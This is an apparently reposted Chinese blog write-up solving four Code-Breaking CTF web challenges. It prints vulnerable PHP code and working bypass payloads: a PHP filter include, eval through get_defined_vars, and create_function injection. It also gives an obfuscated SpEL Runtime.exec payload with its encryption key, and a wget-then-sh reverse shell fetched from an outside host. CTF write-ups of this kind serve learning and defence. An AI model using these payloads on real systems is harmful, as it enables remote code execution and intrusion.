热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CodeBreakingPuzzles做题记录

代码审计圈子里看到Code-BreakingPuzzles,跟着学习着做下。地址:https:code-breaking.com给P神的代码审计圈子打个

代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。
地址:https://code-breaking.com/
给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:
在这里插入图片描述

easy - pcrewaf

这个题最开始做上来的,但是做出来了个非预期解。
最开始的题目:


function is_php($data){return preg_match(&#39;/<\?.*[\(\&#96;].*/is&#39;, $data);
}if(empty($_FILES)) {die(show_source(__FILE__));
}
var_dump($_FILES);
$user_dir &#61; &#39;data/&#39; . md5($_SERVER[&#39;REMOTE_ADDR&#39;]);
$data &#61; file_get_contents($_FILES[&#39;file&#39;][&#39;tmp_name&#39;]);
if (is_php($data)) {echo "bad request";
} else {&#64;mkdir($user_dir, 0755);$path &#61; $user_dir . &#39;/&#39; . random_int(0, 10) . &#39;.php&#39;;move_uploaded_file($_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $path);header("Location: $path", true, 303);
} ?>

只要求不用括号和返单引号&#xff0c;想到了使用include&#xff0c;最后先上传了一个base64后的一句话&#xff0c;然后用include&#43;filter进行包含&#xff1a;


include &#39;php://filter/convert.base64-decode/resource&#61;10.php&#39;;
?>

不太知道为什么直接菜刀连接不上去&#xff0c;最后直接用glob&#43;file_get_contents拿到了flag

chopper&#61;var_dump(glob(&#39;../../../*&#39;));
chopper&#61;var_dump(file_get_contents(&#39;../../../flag_php7_2_1s_c0rrect&#39;));

后来is_php进行了修改&#xff1a;

function is_php($data){return preg_match(&#39;/<\?.*[(&#96;;?>].*/is&#39;, $data);
}

预期解法是利用PHP默认pcre最大回溯10w次&#xff08;pcre.backtrack_limit&#61;100000)&#xff0c;令正则匹配上传内容时回溯超过10w从而匹配失败。

具体解析p神已经发了博客&#xff1a;
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

easy - phplimit

题目&#xff1a;


var_dump(__FUNCTION__);
//echo get_defined_vars();
echo preg_replace(&#39;/[^\W]&#43;\((?R)?\)/&#39;, &#39;&#39;, $_GET[&#39;code&#39;]);
if(&#39;;&#39; &#61;&#61;&#61; preg_replace(&#39;/[^\W]&#43;\((?R)?\)/&#39;, &#39;&#39;, $_GET[&#39;code&#39;])) { eval($_GET[&#39;code&#39;]);
} else {echo"\nerror";
// show_source(__FILE__);
}

正则允许无限的无参数函数嵌套&#xff0c;并且去掉嵌套的函数以后只剩一个分号。

记得好像有个能获取全局所有变量的函数&#xff0c;查手册查到get_defined_vars函数&#xff0c;结合数组操作函数current、array_values可以拿到GET中的第一个参数&#xff08;所以a那个参数要在code前面&#xff0c;因为用了array_values所以叫什么无所谓&#xff09;。

最后的请求&#xff1a;

http://51.158.75.42:8084/?a&#61;var_dump(glob(%27./../*%27));&code&#61;eval(current(array_values(current(array_values(get_defined_vars())))));http://51.158.75.42:8084/?a&#61;var_dump(glob(&#39;./../flag_phpbyp4ss&#39;));&code&#61;eval(current(array_values(current(array_values(get_defined_vars())))));

easy - function

题目&#xff1a;


$action &#61; $_GET[&#39;action&#39;] ?? &#39;&#39;;
$arg &#61; $_GET[&#39;arg&#39;] ?? &#39;&#39;;if(preg_match(&#39;/^[a-z0-9_]*$/isD&#39;, $action)) {show_source(__FILE__);
} else {$action(&#39;&#39;, $arg);
}

需要action不能完全由数字字母下划线组成&#xff0c;想到了命名空间这回事&#xff0c;函数前面加个\就可以用了。

利用create_function函数进行代码执行&#xff0c;
参考&#xff1a;
http://blog.51cto.com/lovexm/1743442
懒一下&#xff0c;直接写结果&#xff1a;

http://51.158.75.42:8087/?action&#61;\create_function&arg&#61;2;}var_dump(glob(%27./../*%27));/*http://51.158.75.42:8087/?action&#61;\create_function&arg&#61;2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*

medium - javacon

这个题我想用idea调试来的&#xff0c;参考网上远程调试的文章&#xff0c;并且也把jar文件导入到项目里&#xff0c;最后下了断点还是不停&#xff0c;就先静态看了。。

题目有点类似Shiro反序列化漏洞的利用&#xff0c;Shiro的rememberMe存的是加密后的序列化对象&#xff0c;这个存的是加密后的SPEL。

题目从COOKIE中获取remember-me参数并解密&#xff1a;
在这里插入图片描述

在getAdvanceValue函数中进行过滤&#43;执行&#xff1a;
在这里插入图片描述
过滤规则及加密key&#xff1a;
在这里插入图片描述
一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令&#xff0c;利用反射来绕过黑名单&#xff0c;最后得到EL&#xff1a;

#{&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;ex&#39;&#43;&#39;ec&#39;,&#39;&#39;.getClass()).invoke(&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;getRu&#39;&#43;&#39;ntime&#39;).invoke(null),&#39;xxxxx&#39;)}

加密代码&#xff1a;

String a&#61;"#{&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;ex&#39;&#43;&#39;ec&#39;,&#39;&#39;.getClass()).invoke(&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;getRu&#39;&#43;&#39;ntime&#39;).invoke(null),&#39;sh /tmp/414.sh&#39;)}";String b&#61;encrypt("c0dehack1nghere1", "0123456789abcdef", a);System.out.println(b);

用dnslog测了下可以外连&#xff0c;用之前代码审计圈子提过的shell.now.sh反弹了shell。

似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{}&#xff0c;导致EL没法正常执行&#xff0c;最后分成了两条命令&#xff1a;

wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh
sh /tmp/414.sh

提交&#xff1a;
在这里插入图片描述
拿到了flag
在这里插入图片描述


推荐阅读
  • 怎么在PHP项目中实现一个HTTP断点续传功能发布时间:2021-01-1916:26:06来源:亿速云阅读:96作者:Le ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • C++中的三角函数计算及其应用
    本文介绍了C++中的三角函数的计算方法和应用,包括计算余弦、正弦、正切值以及反三角函数求对应的弧度制角度的示例代码。代码中使用了C++的数学库和命名空间,通过赋值和输出语句实现了三角函数的计算和结果显示。通过学习本文,读者可以了解到C++中三角函数的基本用法和应用场景。 ... [详细]
  • 本文介绍了一种在PHP中对二维数组根据某个字段进行排序的方法,以年龄字段为例,按照倒序的方式进行排序,并给出了具体的代码实现。 ... [详细]
  • 使用圣杯布局模式实现网站首页的内容布局
    本文介绍了使用圣杯布局模式实现网站首页的内容布局的方法,包括HTML部分代码和实例。同时还提供了公司新闻、最新产品、关于我们、联系我们等页面的布局示例。商品展示区包括了车里子和农家生态土鸡蛋等产品的价格信息。 ... [详细]
  • JavaWeb中读取文件资源的路径问题及解决方法
    在JavaWeb开发中,读取文件资源的路径是一个常见的问题。本文介绍了使用绝对路径和相对路径两种方法来解决这个问题,并给出了相应的代码示例。同时,还讨论了使用绝对路径的优缺点,以及如何正确使用相对路径来读取文件。通过本文的学习,读者可以掌握在JavaWeb中正确找到和读取文件资源的方法。 ... [详细]
  • 本文讨论了在使用PHP cURL发送POST请求时,请求体在node.js中没有定义的问题。作者尝试了多种解决方案,但仍然无法解决该问题。同时提供了当前PHP代码示例。 ... [详细]
  • 起因由于我录制过一个小程序的课程,里面有消息模板的讲解。最近有几位同学反馈官方要取消消息模板,使用订阅消息。为了方便大家容易学 PythonFlask构建微信小程序订餐系统 课程。 ... [详细]
  • 我尝试使用Vue.js在Laravel中实现imageupload吗?但是,我不知道为什么图像 ... [详细]
  • Yii framwork 应用小窍门
    Yiiframework应用小窍门1.YiiFramework]如何获取当前controller的名称?下面语句就可以获取当前控制器的名称了!Php代码 ... [详细]
  • 【技术分享】一个 ELF 蠕虫分析
    【技术分享】一个 ELF 蠕虫分析 ... [详细]
  • 校园表白墙微信小程序,校园小情书、告白墙、论坛,大学表白墙搭建教程
    小程序的名字必须和你微信注册的名称一模一样在后台注册好小程序。mp.wx-union.cn后台域名https。mp.wx-union.cn ... [详细]
author-avatar
日月阁文玩都汇
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有